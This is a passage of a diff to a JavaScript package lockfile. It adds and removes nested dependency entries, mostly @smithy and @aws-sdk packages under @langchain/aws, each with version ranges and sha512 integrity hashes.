- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.6", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tVoyzJ2vXp4R3/aeV4EQjBDmCuWxRa8eo3KybL7Xv4wEM16nObYh7H1sNfcuLWHAAAzb0RVyxUz1S3sGj4X+Tg=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/core-js-compat/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+ "@google/genai/google-auth-library/gaxios/rimraf/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
+
"@istanbuljs/load-nyc-config/find-up/locate-path/p-locate/p-limit": ["p-limit@2.3.0", "", { "dependencies": { "p-try": "^2.0.0" } }, "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w=="],
"@jest/expect/expect/jest-matcher-utils/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/eventstream-handler-node/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@aws-sdk/util-format-url/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -8491,10 +8165,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.921.0", "", { "dependencies": { "@smithy/types": "^4.8.1", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-LVHg0jgjyicKKvpNIEMXIMr1EBViESxcPkqfOlT+X1FkmUMTNZEEVF18tOJg4m4hV5vxtkWcqtr4IEeWa1C41Q=="],
@@ -8503,8 +8183,12 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -8525,6 +8209,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.921.0", "", { "dependencies": { "@smithy/types": "^4.8.1", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-LVHg0jgjyicKKvpNIEMXIMr1EBViESxcPkqfOlT+X1FkmUMTNZEEVF18tOJg4m4hV5vxtkWcqtr4IEeWa1C41Q=="],
@@ -8533,10 +8219,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.922.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA=="],
@@ -8579,6 +8271,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -8595,6 +8289,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
@@ -8605,10 +8301,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
